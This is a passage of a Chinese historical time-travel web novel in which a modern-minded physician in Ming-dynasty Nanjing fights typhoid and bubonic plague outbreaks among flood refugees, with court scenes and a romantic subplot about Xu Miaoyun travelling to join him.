马淳点亮油灯,开始整理今天的医案。
不过却总是发呆。
以前都不会出现这种情况的。
……
与此同时,濠州徐家祖宅的厢房里,徐妙云正在灯下写信。
毛笔蘸了又蘸,却始终落不下第一个字。
“大姐,这么晚还不睡?”徐妙锦推门进来,手里端着一碗莲子羹。
徐妙云慌忙用袖子遮住信纸:“马上就好。”
徐妙锦眼尖,瞥见纸上隐约的墨痕,抿嘴一笑:“给马大夫的信写了三天了,一个字都没憋出来?”
徐妙云耳根发热,低头搅动莲子羹:“谁说是给他的……”
徐妙锦凑过来,在她耳边轻声道:“马大夫肯定也想你了。京城有人给爹来信,说马大夫这些天在皇庄发了好大的火呢。”
徐妙云猛地抬头:“他怎么了?”
“好像是几个病人不听医嘱,病情反复还怪大夫。”徐妙锦眨眨眼,“大姐这么紧张做什么?”
徐妙云自知失态,低头喝了一口莲子羹,却尝不出什么滋味。
眼前浮现出马淳蹙眉的样子,心头一阵发紧。
月光透过窗棂,将两个少女的影子投在墙上。远处传来更夫的梆子声,夜渐渐深了。
千里之外的京城医馆里,马淳躺在床上辗转难眠。
枕边的薄荷香气若有若无,让他想起那双总是含着笑意的眼睛。
“呆子……”他轻声自语,翻了个身。
窗外,金银花在夜风中轻轻摇曳,仿佛在回应这无声的思念。
……
这一天清晨,马淳刚打开医馆大门,就看到门外排起了长队。
十几个面色苍白的百姓捂着肚子蹲在路边,不时有人跑到墙角呕吐。
“怎么回事?”马淳快步走过去,扶起一个摇摇欲坠的中年汉子。
那汉子嘴唇干裂,声音虚弱:“大夫,我们昨晚开始上吐下泻,浑身发冷……”
马淳立刻将他们引进医馆,挨个诊脉。脉象濡数,舌苔白腻,典型的寒湿腹泻。
“最近喝生水了?”马淳一边写方子一边问。
一个年轻力壮的小伙子点点头:“昨天在码头干活太热,喝了秦淮河的水。”
马淳给他们开了藿香正气散,叮嘱道:“回去把水烧开再喝,药一天两剂。”
这些人服药后症状很快缓解,马淳也就没太在意。
谁知第二天一早,医馆外又来了十多个病人,症状一模一样。
“你们也是码头工人?”马淳皱眉问道。
一个瘦高个回答:“是啊,我们都在码头扛大包。昨天还好好的,半夜突然又吐又泻。”
马淳心中隐约觉得不对劲。码头工人身强力壮,按理说不该这么容易集体发病。
他仔细检查了每个人的症状,发现除了腹泻呕吐,还有轻微发热和肌肉酸痛。
“最近码头可有异常?”马淳问道。
“前几日来了不少外地人,说是家乡发大水,来京城讨生活。”瘦高个回忆道,“他们就在码头附近搭棚子住。”
马淳心头一紧。
就在他送走了码头病人后,就看到皇庄管事身边的小吏在里正的带领下,急匆匆跑来。
“马大夫不好了,皇庄又倒下了二十多个,刘大夫急坏了,给他们吃药也不管了,您快去看看吧!”
马淳听到这话有一丝不好的预感。
“快走!”
半日后,马淳站在皇庄临时搭建的病坊前,眉头紧锁。
几个病人躺在草席上,面色苍白,嘴唇干裂,时不时有人翻身呕吐。刘大夫在一旁熬药,药罐里翻滚着黑褐色的药汁,苦涩的气味弥漫在空气中。
“马神医,您看,这已经是第三批反复发热的病人了。”刘大夫擦了擦额头的汗,低声道,“明明按您的方子治好了,可没过两天又发作,像是……”
“像是根本没断根。”马淳接过话,声音沉冷。
有大事要发生了……
第52章 瘟疫!!
他走近一个病人,掀开他的眼皮查看,又掰开他的嘴观察舌苔。
舌苔黄腻,眼白泛红,症状和之前皇庄的瘟疫几乎一模一样。
“你们最近可有人偷偷喝生水?”马淳问道。
几个病人面面相觑,其中一个瘦削的汉子嗫嚅道:“马大夫,我们真没喝生水,都是按您说的,水烧开了才喝。”
马淳眉头皱得更紧。
如果没人喝生水,那病情反复的原因就绝不是简单的“不遵医嘱”。
他站起身,环顾四周,忽然问道:“皇庄最近可收留了外人?”
刘大夫一愣,随即点头:“前些日子确实来了十几个逃难的,说是长江上游决堤,家乡被淹了,来京城投亲。”
马淳心头一震。
长江上游决堤?
他立刻回想起这几天诊治的那些病人,他们同样上吐下泻,症状和皇庄的病人如出一辙。
“这些人现在在哪?”
刘大夫指了指皇庄西侧的一片草棚:“都安置在那儿,不过……”
“不过什么?”
“有两个已经死了。”刘大夫叹了口气,“原以为是路上劳累,加上水土不服,可现在看来……”
马淳没等他说完,大步朝西侧的草棚走去。
草棚里,十几个衣衫褴褛的流民蜷缩在草席上,有的昏睡不醒,有的捂着肚子呻吟。
空气中弥漫着酸腐的气味,苍蝇嗡嗡地盘旋。
马淳蹲下身,检查一个昏迷不醒的中年男子。
男子面色灰败,嘴唇干裂出血,脉搏微弱而急促。
掀开他的衣襟,腹部皮肤上隐约可见暗红色的疹子。
“这不是普通的腹泻。”马淳低声道,“而且还不是一般的伤寒。”
刘大夫倒吸一口凉气:“伤寒?那不是……”
“会传染。”马淳站起身,声音冷峻,“而且传染性极强。”
他终于明白为什么皇庄的瘟疫一直反复了——不是村民不遵医嘱,而是源头根本没被切断。
那些逃难而来的流民身上带着瘟疫病菌,即便皇庄的村民不喝生水,只要和这些人接触,一样会被感染。
“立刻把这些人单独隔离。”马淳沉声道,“所有接触过他们的人也要观察,一旦出现症状,马上用药。”
刘大夫连连点头:“我这就去安排。”
马淳走出草棚,望着远处忙碌的村民,心中一阵沉重。
他之前太过武断,以为皇庄的瘟疫只是茅坑过水导致,却没想到真正的源头是这些流民。
难怪他再三强调不要喝生水,病情还是反复发作。
“马神医!”一个村民急匆匆跑来,“码头那边又来了几十个逃难的,听说也是上吐下泻!”
马淳心头一凛。
长江上游的灾情比他想象的更严重,如果流民不断涌入,瘟疫很快就会在京城蔓延。
他深吸一口气,转身对刘大夫道:“立刻派人去应天府报信,就说瘟疫源头已查明,必须尽快安置流民,否则后果不堪设想。”
刘大夫连忙点头:“我这就去!”
“等等!如果他们查出来了情况,就让他们这样做。一、隔离病人;二、焚烧病人衣物;三、饮用水必须煮沸;四、粪便用石灰处理。”
如今刘大夫对马淳可是相当信任,不敢有拖延,马上就去拟写条陈。
第二天,马淳亲自去码头查看。
眼前的景象让他心惊:数百衣衫褴褛的灾民挤在临时窝棚里,污水横流,蚊蝇肆虐。
一个老者告诉他,家乡洪水过后,死了很多人。
他们逃难路上就有人发热腹泻,但为了活命,只能继续往京城走。
马淳站在码头高处的土坡上,望着眼前黑压压的人群。
流民们像被洪水冲散的蚂蚁,三三两两蜷缩在临时搭建的草棚下。
几个穿着粗布衣裳的郎中正在人群中穿梭,给病患分发药汤。
“这位大夫,您也是来义诊的?”一个背着药箱的老者走到马淳身边,额头上渗出细密的汗珠。
马淳点点头,从怀中掏出一叠口罩递过去:“老先生,把这个戴上。疫病会通过飞沫传染。”
老者接过口罩,好奇地翻看:“这是何物?比我们用的面巾轻薄多了。”
“西域传来的医用口罩。”马淳帮老者戴上,“能阻挡大部分病气。”
不远处传来一阵骚动。
几个衙役手持水火棍,正粗暴地驱赶着流民,“都滚远点!府尹大人有令,不得在京城附近聚集!”
一个妇人抱着孩子跪地哭求:“官爷行行好,我男人病得快死了,求您给条活路吧!”
衙差根本不管这些,就要暴力驱赶。
马淳快步上前拦住衙役:“这位差爷,病人需要静养,强行驱赶只会让疫病扩散。”
衙役斜眼打量马淳:“你算哪根葱?敢管应天府的差使?”
“在下马淳,魏国公府供奉大夫。”马淳亮出腰牌,“烦请差爷通禀府尹大人,就说马某有要事相商。”
衙役看到腰牌,态度立刻恭敬起来:“原来是马神医。小的这就去禀报,但府尹大人近日为流民之事焦头烂额,恐怕……”
“你只需告诉他,我有办法控制疫情。”马淳转头看向那些面色灰败的流民,“再拖下去,京城百姓也要遭殃。”
衙役匆匆离去后,马淳立刻组织在场的医者行动起来。
他将兑换来的口罩分发给众人,又取出几大包药粉。
“诸位,现在我们要把病患分为三类。”马淳指着不远处几间废弃的仓库,“轻症者去左边仓库,中症去中间,重症抬到右边。记住,接触过病人后一定要用酒精洗手。”
一个年轻医者疑惑道:“马大夫,为何要分这么细?”
“轻症只需服药静养,中症需要针灸辅助,重症则要特殊护理。”马淳边说边示范如何正确佩戴口罩,“分开安置能避免交叉感染,也方便集中救治。”
医者们很快行动起来。
马淳亲自检查每个病患的症状,在对方手腕系上不同颜色的布条作为标记。
流民们起初有些慌乱,但在老者的安抚下渐渐配合起来。
“马大夫,您看这个孩子。”老者抱着一个五六岁的男童走过来。
孩子双眼紧闭,嘴唇泛着不正常的青紫色。
……
第53章 朱元璋:朝廷养你们这些官员吃干
马淳翻开孩子的眼皮查看,又摸了摸他滚烫的额头,“重症,立刻送右边仓库。准备银针和退热汤药。”
太阳渐渐西沉,仓库里点起了火把。
马淳正在给一个重症老者施针,忽然听到外面传来马蹄声。
应天府尹带着几个属官匆匆赶来,脸上还带着几分不悦,“马大夫,你这是在做什么?本官好不容易才把流民驱散,你又把他们聚在一起!”
马淳收起银针,不卑不亢地行了一礼:“府尹大人,驱散流民只会让疫病蔓延更快。草民正在按症状轻重分类隔离,这样才能有效控制疫情。”
府尹皱眉看着仓库里井然有序的场景,语气稍缓:“可这么多病患聚集在此,万一传到城里……”
“所以草民需要大人的支持。”马淳指向远处的一片空地,“请大人划出这片区域作为临时安置点,再调拨些粮食和药材。等疫情稳定后,再分批安排流民返乡。”
府尹捋着胡须沉思片刻,终于点头:“好吧,本官会派人送来物资。但若疫情失控,魏国公府可要担责。”
“这与魏国公府无关,纯粹是草民自己的行为。”马淳拱手相送。
府尹没说话,转身就走了。
夜幕完全降临后,马淳终于得空喝了口水。
他站在仓库门口,望着星空下忙碌的医者们。
这些素不相识的同行,此刻都成了并肩作战的战友。
老者走过来,递给他一块干粮:“马大夫,吃点东西吧。今天多亏有你,不然这些流民真要遭殃了。”
马淳接过干粮,问道:“老先生怎么称呼?”
“老朽姓张,在城南开了间小医馆。”张大夫叹了口气,“这些流民太可怜了,家乡遭了水灾,逃到京城又染上疫病。”
马淳望向远处星星点点的火光:“张大夫,您知道现在京城附近有多少流民吗?”
“少说也有一万多人。”张大夫压低声音,“听说长江上游决了三处堤坝,十几个县都被淹了。官府忙着赈灾,根本顾不上这些逃难的人。”
马淳心头一沉。
一万多人聚集在京城周围,若疫情全面爆发,后果不堪设想。
他立刻找来几个年轻力壮的流民,教他们如何搭建简易厕所,“粪坑要挖深,上面盖木板,用完后撒石灰消毒。”
一个满脸麻子的青年疑惑道:“马大夫,拉个屎还要这么麻烦?”
“疫病会通过粪便传播。”马淳耐心解释,“做好卫生,才能少死人。”
青年似懂非懂地点点头,但还是认真照做了。
夜深人静时,马淳独自巡视各个仓库。
轻症区的大多数人已经睡下,中症区还有医者在守夜。
当他走进重症区时,发现张大夫正在给那个男童喂药。
“孩子怎么样了?”马淳轻声问道。
张大夫摇摇头:“烧退了些,但脉象还是很弱。”
马淳检查了孩子的症状,从药箱取出一小包药粉:“这是西域传来的特效药,用温水化开喂他服下。”
张大夫好奇地看着那白色粉末:“马大夫的医术真是神乎其技,老朽行医四十载,从未见过如此灵药。”
“不过是站在前人肩膀上罢了。”马淳笑了笑,“张大夫快去休息吧,下半夜我来守。”
黎明时分,马淳正在整理医案,忽然听到外面传来一阵欢呼声。
他走出仓库,看到一群流民围着一个刚到的车队。
曹国公府的家丁正在卸下粮食和药材,领头的管事看到马淳,连忙行礼:“马神医,国公爷听说您在此义诊,特地命小人送来物资。”
马淳心头一暖:“代我谢过国公爷。”
管事凑近低声道:“国公爷还说了,他已经上书皇上,请求调拨太医院的人手来支援。最迟明日就到。”
这个消息让马淳精神一振。
有了官方支持,防疫工作就能全面展开了。
他立刻组织人手,将新到的物资分类存放。
粮食按户分发,药材则按需分配。
几个识字的流民被安排登记造册,记录每个人的来历和健康状况。
日上三竿时,马淳正在教授医者们如何正确使用酒精消毒,忽然听到有人喊他。
“马大夫!那个孩子醒了!”
马淳快步来到重症区,只见那个男童已经坐起身,正小口喝着粥。
孩子的母亲跪在地上连连磕头:“多谢神医救命之恩!”
张大夫捋着胡子感叹:“马大夫的药真是神了,老朽本以为这孩子熬不过昨晚。”
马淳检查了孩子的脉象,终于露出连日来第一个笑容:“脉象平稳,再休养几日就能痊愈。”
这个消息像春风般传遍了整个安置点。
流民们的眼中重新燃起希望,纷纷主动配合起防疫工作。
午后,马淳召集所有医者开了个简短的会议。
“现在我们要建立三道防线。”他用树枝在地上画了个示意图,“第一道是外围筛查,新来的流民要先观察三日;第二道是日常消毒,所有公共区域每日用石灰水喷洒;第三道是分级诊疗,确保轻症不转重,重症得救治。”
一个年轻医者举手问道:“马大夫,若是有人不配合怎么办?”
“以劝导为主,不听者叫官差强行圈禁,疫病期间,不配合者重罚。”马淳环视众人,“我们要让流民明白,这些措施是为了救他们的命。”
会议结束后,马淳独自站在河边,望着浑浊的河水出神。
这场防疫战才刚刚开始,后面还有更多困难等着他。
但看到那些渐渐康复的病患,他知道这一切都是值得的。
远处传来孩童的笑声,那个被他救活的男童正在空地上玩耍。
阳光洒在孩子红润的脸庞上,仿佛预示着阴霾终将散去。
……
奉天殿内,朱元璋面色阴沉地扫视着殿中众臣。
户部尚书颤巍巍地捧着奏章,额角渗出细密汗珠,“启禀陛下,长江上游三县决堤,灾民万余涌入京城周边。太医院报,已有三百余人出现发热腹泻症状,恐是瘟疫。”
刑部侍郎立刻出列:“臣请即刻驱散流民,命沿途州县设卡拦截,以防瘟疫蔓延。”
朱元璋一掌拍在龙椅上,震得殿中嗡嗡作响,“混账!百姓遭灾,尔等不思赈济,反倒急着驱赶?朝廷养你们何用!”
……
第54章 鼠疫!黑死病?
五城兵马司指挥使伏地请罪:“臣已派兵封锁流民聚集处,但人手不足……”
太医院院使犹豫道:“民间已有大夫在施药救治,其中就有小青村的马淳。”
殿中顿时一静。文武百官对这个名字都不陌生——治好了皇后顽疾的神医,魏国公府的座上宾。
蒋瓛适时上前:“锦衣卫探得,马淳已在码头设了三处医棚,按症状轻重分流病患。曹国公府也送去了粮药。”
朱元璋神色稍霁,转头看向太子:“太子,你怎么看?”
朱标沉吟道:“儿臣以为当务之急是控制疫情。马淳的法子颇有章法,不如派太医院协助,再调拨钱粮安置流民。”
“准!”朱元璋霍然起身,“传旨:太医院即刻抽调二十名医官支援马淳;户部拨粮五千石,工部搭建临时居所;五城兵马司维持秩序,不得驱赶流民!”
众臣领命而去。
朱元璋独留蒋瓛,沉声道:“你亲自去盯着,若有官员阳奉阴违,就地拿下!”
暮色沉沉,流民营地的火把在风中摇曳。
马淳蹲在临时搭建的医棚前,正往石灰桶里兑水。
远处传来马蹄声,一队锦衣卫疾驰而来,为首的千户勒马停在他面前,翻身下马抱拳道:“马大夫,奉皇上口谕,太医院二十名医官明日就到。户部拨粮五千石,工部已在搭建临时居所。”
马淳擦了擦手上的石灰粉,眉头微松:“有朝廷援手,疫情可控。”
“马大夫可有难处?”千户目光扫过远处呻吟的病患。
马淳指向重症区:“药材缺口大,尤其退热消炎的黄连、金银花。另外需要更多石灰消毒。”
千户点头记下,忽然压低声音:“皇上命我转告,马大夫但有所需,可直接呈报。”
马淳心头一暖,却见一个医者慌张跑来:“马大夫,三号仓病人脖颈肿大,高热不退!您快去看看吧。”
他疾步赶去,掀开病人衣领时瞳孔骤缩——腋下与腹股沟的淋巴结肿如鸡蛋,皮肤泛着不正常的青紫。
“取我药箱来!”马淳声音发紧。
这症状他太熟悉了,前世在医学院的传染病图谱上见过无数次。
蒋瓛不知何时已站在他身后,见状皱眉:“这是……”
“腺鼠疫。”马淳戴上自制口罩,声音闷在棉布后,“烦请蒋护卫立刻清场,接触者单独隔离。”
蒋瓛脸色骤变,手已按在刀柄上:“鼠疫?那可是要屠城的!”
马淳按住他的手腕:“腺鼠疫可防可控,只要切断传播途径。现在当务之急是灭鼠灭蚤,所有病患衣物煮沸消毒。”
蒋瓛将信将疑地松开刀柄:“马大夫确定?”
“我在西域见过类似病例。”马淳撒了个善意的谎言,迅速写下药方,“按此方煎药,接触者连服七日可防发病。另需大量薄荷油驱蚤。”
蒋瓛接过药方,却未挪步:“这地方太危险,我留下护卫。”
马淳摇头:“你不是说你祖母年事已高,若你染病带回去,后果不堪设想。”
“我啥时候说了我祖母?我祖母现在活着得一百多,那不成妖精了!”蒋瓛一脑门黑线:“我是说你救了我家主母,我家主人的媳妇!什么祖母。”
噢!
马淳这才反应过来。
当夜,临时医棚灯火通明。
马淳将兑换的链霉素混入汤药,亲自喂给重症患者。
张大夫举着油灯在一旁记录症状变化,忍不住惊叹:“肿结竟真在消退!”
黎明时分,太医院的马车碾着晨露抵达。
为首的胡院判刚下车就被马淳拦住:“所有人先更衣消毒,接触病患必须戴口罩。”
胡院判看着马淳递来的奇怪布罩,嗤笑道:“本官行医三十载,还需要你这乳臭未干的小子教我治病!”
“那胡大人可曾见过腺鼠疫?”马淳反问。
胡院判脸色刷白,倒退三步:“鼠疫?当真?”
马淳指向隔离区:“淋巴结肿如鸡卵,高热谵语,皮肤现瘀斑。胡大人若不信,可亲自诊脉。”
太医院众人顿时乱作一团。
马淳提高声音:“诸位若想活命,就按我说的做。腺鼠疫虽凶险,但并非无药可医。”
他分发口罩,演示七步洗手法。
年轻医官们学得认真,几个老顽固却躲在后面嘀咕:“黄口小儿,装神弄鬼!”
锦衣卫千户冷眼旁观,突然拔刀劈断桌角:“抗命者,斩!”
众人噤若寒蝉。
马淳趁机分配任务:“胡大人带五位同僚负责熬药,其余人分组巡查,发现新病例立刻标记。”
正说着,重症区突然传来尖叫。
一个病人抽搐着口吐白沫,脖颈肿结破裂,脓血喷了医官满脸。
马淳箭步冲过去,却见那医官瘫坐在地,满脸脓血,吓得语无伦次:“我要死了!鼠疫入体了!”
“冷静!”马淳一把扯下他的外袍,用酒精冲洗面部,“皮肤无破损就不会感染。现在立刻去沐浴更衣!”
混乱中,胡院判趁机煽动:“诸位看到了?接触脓血必死无疑!我等还是速回京城禀明圣上,早做决断!”
太医院众人骚动起来。
马淳拦在路口,声音沉如铁石:“今日谁走,谁就是屠戮满城的帮凶!”
锦衣卫千户的绣春刀横在胡院判颈前:“马大夫,你说怎么处置?”
马淳深吸一口气:“愿意留下的,我保他无恙。执意要走者——”
他看向胡院判,“请锦衣卫的大人派人‘护送’回京,单独隔离半月。”
胡院判在生死威胁之下,居然还在不断挣扎,脖颈在绣春刀上蹭出一道血痕。“放开我!你们这些疯子!鼠疫是要屠城的!古籍上写得明明白白,十室九空,尸骸塞河!”
锦衣卫千户的刀锋纹丝不动,胡院判的嘶吼却像火星溅入油锅。
太医院众人骚动起来,几个年轻医官脸色惨白地往马车方向挪步。
马淳一脚踹翻药罐,陶罐碎裂声让所有人一颤。
他抓起染血的纱布高举过头:“看看!这就是腺鼠疫患者的脓血!你们现在谁身上沾到半点,走出去就是移动的瘟神!”
正要逃跑的医官们僵在原地。
一个药童突然哭出声,跪在地上干呕……
第55章 大姐若不去会遗憾终身!
“都听好。”马淳扯下染血的外袍扔进石灰桶,“腺鼠疫靠跳蚤传播,只要灭蚤防鼠,接触病人时穿防护衣,喝预防汤药,未必会感染。但要是有人现在逃走——”他指向官道方向,“想想你们的父母妻儿。”
胡院判突然癫狂大笑:“黄口小儿信口雌黄!《瘟疫论》有载,建安二十二年大疫,家家有僵尸之痛!你比张仲景还厉害?”
“张仲景没见过链霉素。”马淳从药箱取出琉璃瓶,淡黄色粉末在晨光中闪烁,“西域秘药,专克鼠疫。胡大人若不信,敢不敢与我打个赌?”
千户的刀往前递了半寸:“马大夫何必废话。来人!把胡大人请去清净处歇着。”
四个锦衣卫按住胡院判时,他官帽滚落,花白头发散乱如草,“你们会后悔的!等满城缟素那天……”
声音戛然而止,有人用汗巾塞住了他的嘴。
马淳转身面对剩余医官,二十多双眼睛里的恐惧几乎凝成实质。
他拿起石灰刷在墙上画圈:“愿意留下的站这边,要走的站那边。不勉强。”
沉默像块湿布裹住所有人。
张大夫突然咳嗽着走到圈内:“老朽半截入土的人,赌一把马神医的手段。”
仿佛堤坝裂开第一道缝,年轻医官们三三两两挪进圈内。
最后剩下三个老医正互相推搡,终于也垂着头站了过来。
“好。”马淳拍掉手上石灰,“现在分组。张大夫带五人负责熬药,切记所有药罐煮沸消毒。你们六人跟着千户大人灭鼠灭蚤,剩下人跟我进重症区。”
他分发口罩时,有个年轻医官颤抖着问:“马大夫,当真不会传染?”
“口罩浸过药汁,每两个时辰更换。”马淳帮他系紧棉绳,“记住别揉眼睛,出疫区前用酒精洗手。发现皮肤有破损立刻找我。”
晨雾散尽时,隔离区已井然有序。
锦衣卫在官道设卡,石灰画出的白线将仓库围成孤岛。
马淳巡查到三号仓,发现那个腺鼠疫患者居然睁开了眼。
“水……”患者嘶哑的呼唤让守候的妇人喜极而泣。
马淳探他脉搏,肿大的淋巴结已消下去大半。
正午的烈日烤得石灰线发烫。
马淳蹲在河边给器械消毒,忽然听见身后枯枝断裂声。
蒋瓛拎着食盒走来。
“家主让我送些吃食。”他放下食盒却不走,盯着马淳被药汁泡皱的手,“你真不怕?”
马淳掰开炊饼夹上咸菜:“怕有用?”饼屑掉在染血的衣摆上,他随手掸了掸。
蒋瓛突然压低声音:“今早应天府已经封了十二户有发热症状的人家。皇上派了五军营围住流民聚集处,弓弩手就位。”
炊饼卡在喉咙里,马淳灌了半瓢水才咽下去。“要屠营?”
“暂时不会。”蒋瓛眯眼望向皇城方向,“但若十日内疫情失控……”
傍晚的隔离区像个巨大蜂巢。
医官们穿梭在病床间,石灰水的气味混着药香。
马淳正在教人静脉注射链霉素,突然听见仓库外马蹄声如雷。
李景隆带着太医院的车队停在石灰线外,身后二十辆大车满载麻袋。“马大夫,我奉陛下之命送来药材粮秣。”
“多谢!”马淳隔着两道栅栏对着李景隆遥遥一拜。
李景隆知道,自己不能跨过去,心中无比佩服这个只比自己大一两岁的年轻大夫,最后就只能回了一个礼,然后带着人离开。
等李景隆离开,马淳才和医者同僚们一起将物资给搬进去。
……
夜幕笼罩着濠州钟离县的徐家祖宅,烛火在书房里摇曳。
徐达放下手中的密信,眉头紧锁。
信纸上写着京城突发鼠疫的消息。
徐辉祖站在一旁,低声道:“父亲,此事要不要告诉大姐?”
徐增寿立刻摇头:“绝对不行!大姐要是知道马大夫在疫区,肯定会不顾一切赶去京城。那可是鼠疫啊,会死人的!”
徐达沉吟片刻,正要开口,房门突然被推开。
徐妙锦站在门口,眼眶泛红。
“我都听到了。”她声音发颤,“你们想瞒着大姐?”
徐达叹了口气:“妙锦,此事非同小可。”
徐妙锦快步走进书房,双手撑在桌案上:“爹,您知不知道马大夫对大姐意味着什么?如果这次不让她去,她会恨您一辈子!”
徐增寿急道:“小妹,你冷静点。大姐去了能做什么?只会添乱。”
“添乱?”徐妙锦冷笑一声,“你们根本不了解大姐。她跟着马大夫学了这么久医术,早就不是当初那个只会绣花的闺阁小姐了。”
徐辉祖皱眉:“可那是鼠疫,不是儿戏。”
徐妙锦转向父亲,语气坚定:“爹,您还记得大姐小时候生那场大病吗?大夫都说没救了,是她自己硬挺过来的。她骨子里比谁都倔,认准的事九头牛都拉不回。”
烛火噼啪作响,映照在徐达刚毅的脸上。
他想起长女这些日子的变化——那双原本只会抚琴的手,如今也能熟练地分拣药材了。
徐妙锦继续道:“大姐每晚都在灯下研读马大夫给她的医书,我亲眼见过她为了一味药的用法,彻夜不眠。她早就不是你们印象中那个娇弱的大小姐了。”
徐增寿还想说什么,被徐达抬手制止。
“妙锦,你确定你大姐真的想去?”徐达沉声问道。
徐妙锦用力点头:“爹,您没看到大姐收到马大夫药箱时的表情。那是女儿第一次见她笑得那么开心。如果这次不让她去,她会遗憾终生的。”
院外传来脚步声,徐妙云的声音由远及近:“妙锦,你在书房吗?”
徐妙锦脸色一变,急忙压低声音:“爹,求您了。大姐这辈子好不容易遇到一个让她心动的人,您忍心看她错过吗?”
徐达深吸一口气,做出了决定:“辉祖,去备马车。增寿,准备干粮和药材。”
徐妙锦眼中闪过惊喜:“爹!”
“去吧,告诉你大姐。”徐达疲惫地摆摆手,“但要跟她说清楚,到了京城必须听马大夫的安排,不得任性。”
……
第56章 马淳!等我!
徐妙锦飞奔出书房,差点撞上迎面走来的徐妙云。
“跑这么急做什么?”徐妙云扶住妹妹,疑惑道。
徐妙锦抓住姐姐的手,声音发颤:“大姐,京城出事了。”
徐妙云的笑容僵在脸上:“什么事?”
“鼠疫。”徐妙锦直视姐姐的眼睛,“马大夫正在疫区救人。”
徐妙云的手指瞬间冰凉。
她松开妹妹,转身就往自己房间跑。
“大姐!”徐妙锦追上去,“爹已经同意我们去京城了!”
徐妙云猛地停住脚步,回头时眼中已噙满泪水:“真的?”
徐妙锦重重点头:“爹让我们准备一下,连夜出发。”
徐妙云抹去眼泪,转身抱住妹妹:“谢谢你,妙锦。”
半个时辰后,三辆马车停在徐府门前。
徐达亲自将一包药材交给长女:“记住,到了京城先找曹国公府的人,他们会带你去见马大夫。”
徐妙云郑重点头:“女儿明白。”
徐妙锦跳上马车,掀开车帘:“大姐,快上来!”
马蹄声在夜色中渐行渐远。
徐增寿站在门口,忧心忡忡:“爹,真的让她们去吗?”
徐达望着远去的马车,轻声道:“你大姐长大了,该让她自己做决定。”
官道上,徐妙云紧紧攥着药箱带子。
月光透过车帘缝隙,在她苍白的脸上投下斑驳的光影。
“大姐,别担心。”徐妙锦握住姐姐的手,“马大夫那么厉害,肯定不会有事的。”
徐妙云摇摇头:“我不是担心他,我是恨自己不能早点到他身边。”
车轮碾过碎石,车厢微微摇晃。
徐妙云想起什么,从怀中掏出一个小本子,就着微弱的灯光翻看。
“这是什么?”徐妙锦好奇地问。
“马大夫教我的防疫笔记。”徐妙云的手指划过纸页,“他说鼠疫主要通过跳蚤传播,所以要灭蚤防鼠,接触病人时要戴口罩。”
徐妙锦凑近看:“这画的是什么?”
“口罩的做法。”徐妙云指着简图,“用细棉布叠六层,中间夹药棉,两侧缝棉绳。”
徐妙锦眨眨眼:“大姐,你记得真清楚。”
徐妙云合上本子,轻声道:“他说过的每句话,我都记得。”
马车突然颠簸了一下,徐妙云撞到车壁,药箱滑落在地。
几包药材散出来,其中一个小瓷瓶滚到徐妙锦脚边。
“这是什么?”徐妙锦捡起来问。
徐妙云接过瓷瓶,小心地放回药箱:“链霉素,马大夫特意准备的。本来是给我预备的,不过这东西据说能杀死大部分的病菌。”
徐妙锦看着姐姐熟练地整理药材,忽然觉得眼前的人有些陌生。
这个一丝不苟的大夫,真的是她那个娇滴滴的大姐吗?
天边泛起鱼肚白时,马车在一处驿站停下换马。
徐妙云跳下车,活动着僵硬的四肢。
驿丞迎上来:“小姐要热水吗?”
徐妙云摇头:“不用,我们赶时间。”
徐妙锦拉着姐姐走到一旁,小声道:“大姐,你一夜没睡,要不要休息会儿?”
“不行。”徐妙云望向京城方向,“早到一刻,就能多救一个人。”
重新上路后,徐妙云开始清点药材。
她将药箱里的物品一样样取出,又仔细地放回去。
“金银花、黄连、板蓝根……”她喃喃自语,“应该够用三天。”
徐妙锦靠在车厢上,看着姐姐专注的侧脸。
阳光透过车帘照进来,给徐妙云的睫毛镀上一层金边。
“大姐,你变了。”徐妙锦突然说。
徐妙云手上动作一顿:“哪里变了?”
“以前你连杀鸡都不敢看,现在却能面不改色地谈论鼠疫。”徐妙锦歪着头,“是因为马大夫吗?”
徐妙云没有立即回答。
她将最后一包药放好,才轻声道:“是因为我想成为能站在他身边的人。”
马车突然加速,徐妙锦差点摔倒。
她稳住身子,笑道:“大姐,你脸红了。”
徐妙云别过脸去:“胡说什么。”
正午时分,马车终于驶入京城地界。
守城士兵拦下车队,厉声喝问:“来者何人?”
徐家家将亮出腰牌:“魏国公府女眷,有要事入城。”
士兵看到腰牌,态度立刻恭敬起来:“原来是徐小姐。不过现在城内戒严,所有入城者都要接受检查。”
徐妙云掀开车帘:“我们刚从濠州来,没有接触过疫区。”
士兵看到两位小姐的装扮,犹豫道:“请稍等,我去请示上官。”
不多时,一个锦衣卫百户走来,抱拳道:“两位小姐,奉皇上口谕,所有入城者需隔离三日观察。请随我去驿馆安置。”
徐妙云急道:“我们有急事!”
百户不为所动:“请小姐见谅,这是死命令。”
徐妙锦拉拉姐姐的袖子,低声道:“大姐,别急。我们先去驿馆,再想办法联系曹国公府的人。”
徐妙云深吸一口气,勉强点头。
驿馆里,徐妙云坐立不安。她推开窗户,望着远处的城墙。
她甚至隐约能感觉到,马淳正在城墙外的疫区忙碌。
而自己近在咫尺,却不能靠近,这种焦灼,如噬心的蚂蚁,让她一刻也等不了。
“妙锦,我等不了三天。”她突然说。
徐妙锦正在整理床铺,闻言抬头:“大姐想做什么?”
徐妙云转身从药箱里取出一封信:“你拿着它去找曹国公府的人。就说必须立刻见到马大夫。”
徐妙锦接过信,犹豫道:“可外面有锦衣卫把守。”
“你从小就会爬树。”徐妙云指了指后院的槐树,“从那儿翻出去。”
徐妙锦瞪大眼睛:“大姐,你让我偷跑?”
徐妙云握住妹妹的手:“妙锦,帮帮我。”
徐妙锦看着姐姐恳求的眼神,一咬牙:“好,我去。但你要答应我,在这里好好待着,别乱跑。”
徐妙云点头:“我等你消息。”
徐妙锦将信塞进靴筒,装作散步的样子走到后院。
趁守卫不注意,她敏捷地爬上槐树,翻过墙头消失不见。
徐妙云站在窗前,双手合十。
夕阳的余晖洒在她脸上,映出一双坚定的眼睛。
“马淳,等我。”
……
第57章 逆行者!前往疫区!
徐妙锦蹲在槐树粗壮的枝干上,屏住呼吸。
她站在树枝上,左右梭巡,静静等候来往巡逻的锦衣卫。
不久,两个锦衣卫挎着刀来回巡视,可能是快到半夜,锦衣卫的巡逻频次相对较少,这给了她机会。
她等巡逻的脚步声远去,轻轻一跃,双手抓住墙头。
脚尖在砖缝借力,整个人如猫般翻上围墙。
月光下,少女的身影在瓦片上轻轻掠过,没有发出一丝声响。
跨过馆驿与民居的巷子后,她落在了一处逼仄的小巷子,辨明了方向后,她向着曹国公方向去而去。
